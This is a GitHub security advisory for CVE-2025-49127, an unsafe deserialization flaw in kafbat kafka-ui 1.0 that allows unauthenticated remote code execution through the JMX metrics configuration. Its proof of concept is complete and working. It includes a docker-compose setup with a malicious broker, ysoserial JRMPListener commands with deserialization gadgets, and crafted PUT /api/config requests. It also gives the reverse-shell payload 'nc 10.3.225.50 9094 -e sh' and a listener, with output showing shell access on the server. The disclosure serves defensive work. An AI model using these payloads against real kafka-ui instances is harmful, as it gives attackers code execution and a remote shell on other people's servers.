Skip to content

Remote Code Execution by JMX in Metrices Configuration

High
Haarolean published GHSA-g3mf-c374-fgh2 Jun 6, 2025

Package

maven io.kafbat.ui.kafbat-ui (Maven)

Affected versions

1.0

Patched versions

1.1

Description

Summary

An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.

Details

kafka-ui support dynamic change configuration of a cluster or craete a new cluster. Suppose we have a evil kafka cluster, add this cluster to kafka-ui and in the Metrices config of a cluster, we can set the metrices type to JMX then click submit. And after that, the kafka-ui will connect to the cluster, and connect to the JMX server that specied by the evil kafka cluster, i.e. jmx:rmi:///jndi/rmi://10.3.225.50:1719/jmxrmi, this can be set with enviroment variable KAFKA_ADVERTISED_LISTENERS.

PoC

To reproduce this vulnerability, we need to use a modified ysoserial, you can download it from https://github.com/trganda/ysoserial/releases/download/v0.0.6/ysoserial-0.0.6-all.jar (run with jdk8)

  1. Startup a kafka-ui with docker compose, this docker-compose.yml file was modified from https://github.com/kafbat/kafka-ui/blob/main/.dev/dev_arm64.yaml, I have add a malicious kafka named kafka-malicious-broker, you should replace 10.3.225.50 to a host that can be access from container. And the ./scripts/update_run.sh was copy from https://github.com/kafbat/kafka-ui/blob/main/documentation/compose/scripts/update_run.sh.
version: '3.8'
name: "kafbat-ui-dev"

services:
  zookeeper:
    image: 'confluentinc/cp-zookeeper:7.6.1'
    environment:
      ZOOKEEPER_CLIENT_PORT: 2181

  kafbat-ui:
    container_name: kafbat-ui
    image: ghcr.io/kafbat/kafka-ui:latest
    ports:
      - 8080:8080
      - 5005:5005
    depends_on:
      - kafka0
      - schema-registry0
      - kafka-connect0
      - ksqldb0
    environment:
      KAFKA_CLUSTERS_0_NAME: local
      KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: kafka0:29092
      KAFKA_CLUSTERS_0_METRICS_PORT: 9997
      KAFKA_CLUSTERS_0_SCHEMAREGISTRY: http://schema-registry0:8085
      KAFKA_CLUSTERS_0_KAFKACONNECT_0_NAME: first
      KAFKA_CLUSTERS_0_KAFKACONNECT_0_ADDRESS: http://kafka-connect0:8083
      KAFKA_CLUSTERS_0_KSQLDBSERVER: http://ksqldb0:8088
      DYNAMIC_CONFIG_ENABLED: 'true'
      KAFKA_CLUSTERS_0_AUDIT_TOPICAUDITENABLED: 'true'
      KAFKA_CLUSTERS_0_AUDIT_CONSOLEAUDITENABLED: 'true'
      JAVA_TOOL_OPTIONS: '-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005'

  kafka0:
    image: confluentinc/cp-kafka:7.2.1.arm64
    hostname: kafka0
    container_name: kafka0
    ports:
      - 9092:9092
      - 9997:9997
    environment:
      KAFKA_BROKER_ID: 1
      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,CONTROLLER:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka0:29092,PLAINTEXT_HOST://localhost:9092
      KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
      KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1
      KAFKA_GROUP_INITIAL_REBALANCE_DELAY_MS: 0
      KAFKA_TRANSACTION_STATE_LOG_MIN_ISR: 1
      KAFKA_TRANSACTION_STATE_LOG_REPLICATION_FACTOR: 1
      KAFKA_PROCESS_ROLES: 'broker,controller'
      KAFKA_NODE_ID: 1
      KAFKA_CONTROLLER_QUORUM_VOTERS: '1@kafka0:29093'
      KAFKA_LISTENERS: 'PLAINTEXT://kafka0:29092,CONTROLLER://kafka0:29093,PLAINTEXT_HOST://0.0.0.0:9092'
      KAFKA_CONTROLLER_LISTENER_NAMES: 'CONTROLLER'
      KAFKA_LOG_DIRS: '/tmp/kraft-combined-logs'
      KAFKA_JMX_PORT: 9997
#      KAFKA_JMX_HOSTNAME: localhost # uncomment this line and comment the next one if running with kafka-ui as a jar
      KAFKA_JMX_OPTS: -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false -Djava.rmi.server.hostname=kafka0 -Dcom.sun.management.jmxremote.rmi.port=9997
    volumes:
      - ./scripts/update_run.sh:/tmp/update_run.sh
    command: "bash -c 'if [ ! -f /tmp/update_run.sh ]; then echo \"ERROR: Did you forget the update_run.sh file that came with this docker-compose.yml file?\" && exit 1 ; else /tmp/update_run.sh && /etc/confluent/docker/run ; fi'"

  kafka-malicious-broker:
    image: 'confluentinc/cp-kafka:7.2.1.arm64'
    depends_on:
      - zookeeper
    ports:
      - 9093:9093
    environment:
      KAFKA_ZOOKEEPER_CONNECT: 'zookeeper:2181'
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://10.3.225.50:9093
      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT
      KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT

  schema-registry0:
    image: confluentinc/cp-schema-registry:7.2.1.arm64
    ports:
      - 8085:8085
    depends_on:
      - kafka0
    environment:
      SCHEMA_REGISTRY_KAFKASTORE_BOOTSTRAP_SERVERS: PLAINTEXT://kafka0:29092
      SCHEMA_REGISTRY_KAFKASTORE_SECURITY_PROTOCOL: PLAINTEXT
      SCHEMA_REGISTRY_HOST_NAME: schema-registry0
      SCHEMA_REGISTRY_LISTENERS: http://schema-registry0:8085

      SCHEMA_REGISTRY_SCHEMA_REGISTRY_INTER_INSTANCE_PROTOCOL: "http"
      SCHEMA_REGISTRY_LOG4J_ROOT_LOGLEVEL: INFO
      SCHEMA_REGISTRY_KAFKASTORE_TOPIC: _schemas

  kafka-connect0:
    image: confluentinc/cp-kafka-connect:7.2.1.arm64
    ports:
      - 8083:8083
    depends_on:
      - kafka0
      - schema-registry0
    environment:
      CONNECT_BOOTSTRAP_SERVERS: kafka0:29092
      CONNECT_GROUP_ID: compose-connect-group
      CONNECT_CONFIG_STORAGE_TOPIC: _connect_configs
      CONNECT_CONFIG_STORAGE_REPLICATION_FACTOR: 1
      CONNECT_OFFSET_STORAGE_TOPIC: _connect_offset
      CONNECT_OFFSET_STORAGE_REPLICATION_FACTOR: 1
      CONNECT_STATUS_STORAGE_TOPIC: _connect_status
      CONNECT_STATUS_STORAGE_REPLICATION_FACTOR: 1
      CONNECT_KEY_CONVERTER: org.apache.kafka.connect.storage.StringConverter
      CONNECT_KEY_CONVERTER_SCHEMA_REGISTRY_URL: http://schema-registry0:8085
      CONNECT_VALUE_CONVERTER: org.apache.kafka.connect.storage.StringConverter
      CONNECT_VALUE_CONVERTER_SCHEMA_REGISTRY_URL: http://schema-registry0:8085
      CONNECT_INTERNAL_KEY_CONVERTER: org.apache.kafka.connect.json.JsonConverter
      CONNECT_INTERNAL_VALUE_CONVERTER: org.apache.kafka.connect.json.JsonConverter
      CONNECT_REST_ADVERTISED_HOST_NAME: kafka-connect0
      CONNECT_PLUGIN_PATH: "/usr/share/java,/usr/share/confluent-hub-components,/usr/local/share/kafka/plugins,/usr/share/filestream-connectors"

  ksqldb0:
    image: confluentinc/ksqldb-server:0.18.0
    depends_on:
      - kafka0
      - kafka-connect0
      - schema-registry0
    environment:
      KSQL_CUB_KAFKA_TIMEOUT: 120
      KSQL_LISTENERS: http://0.0.0.0:8088
      KSQL_BOOTSTRAP_SERVERS: PLAINTEXT://kafka0:29092
      KSQL_KSQL_LOGGING_PROCESSING_STREAM_AUTO_CREATE: "true"
      KSQL_KSQL_LOGGING_PROCESSING_TOPIC_AUTO_CREATE: "true"
      KSQL_KSQL_CONNECT_URL: http://kafka-connect0:8083
      KSQL_KSQL_SCHEMA_REGISTRY_URL: http://schema-registry0:8085
      KSQL_KSQL_SERVICE_ID: my_ksql_1
      KSQL_KSQL_HIDDEN_TOPICS: '^_.*'
      KSQL_CACHE_MAX_BYTES_BUFFERING: 0
  1. Setup a malicious jmx server with ysoserial
java -cp ysoserial-0.0.6-all.jar ysoserial.exploit.JRMPListener 1718 ScalaProperties "org.apache.commons.collections.enableUnsafeSerialization:true"
  1. Send the request below to kafka-ui
PUT /api/config HTTP/1.1
Host: localhost:8080
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Language: en-US,en;q=0.9
Content-Length: 613

{"config":{"properties":{"auth":{"type":"DISABLED"},"rbac":{"roles":[]},"webclient":{},"kafka":{"clusters":[{"name":"local","bootstrapServers":"kafka0:29092","schemaRegistry":"http://schema-registry0:8085","ksqldbServer":"http://ksqldb0:8088","kafkaConnect":[{"name":"first","address":"http://kafka-connect0:8083"}],"metrics":{"type":"JMX","port":9997},"properties":{},"readOnly":false,"audit":{"topicAuditEnabled":true,"consoleAuditEnabled":true,"auditTopicProperties":{}}},{"name":"poc","bootstrapServers":"kafka-malicious-broker:9093","metrics":{"type":"JMX","port":1718},"properties":{},"readOnly":false}]}}}}

and you will see the ysoserial print log that indicate we received a connection from kafka-ui, and we have used the gadget ScalaProperties to modified the system property org.apache.commons.collections.enableUnsafeSerialization:true

Have connection from /10.3.225.50:59046
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection
  1. Setup another malicious jmx server with ysoserial to exploit, we can get a reverse shell by this gadget
java -cp ysoserial-0.0.6-all.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 "nc 10.3.225.50 9094 -e sh"
  1. Listening on 9094 on host 10.3.225.50
nc -lvv 9094
  1. Send below request, change the JMX port to 1719
PUT /api/config HTTP/1.1
Host: localhost:8080
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Language: en-US,en;q=0.9
Content-Length: 613

{"config":{"properties":{"auth":{"type":"DISABLED"},"rbac":{"roles":[]},"webclient":{},"kafka":{"clusters":[{"name":"local","bootstrapServers":"kafka0:29092","schemaRegistry":"http://schema-registry0:8085","ksqldbServer":"http://ksqldb0:8088","kafkaConnect":[{"name":"first","address":"http://kafka-connect0:8083"}],"metrics":{"type":"JMX","port":9997},"properties":{},"readOnly":false,"audit":{"topicAuditEnabled":true,"consoleAuditEnabled":true,"auditTopicProperties":{}}},{"name":"poc","bootstrapServers":"kafka-malicious-broker:9093","metrics":{"type":"JMX","port":1719},"properties":{},"readOnly":false}]}}}}

Similarly, the kafka-ui will connect to 10.3.225.50:1719, and the ysoserial will print something like:

Have connection from /10.3.225.50:52300
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection

and you will receve a reverse shell from kafka-ui on 10.3.225.50:9094

nc -lvv 9094
id
uid=100(kafkaui) gid=101(kafkaui) groups=101(kafkaui)
whoami
kafkaui

Impact

Exploit this vulnerability, we could execution arbitrary command on kafka-ui server

Severity

High

CVE ID

CVE-2025-49127

Weaknesses

Credits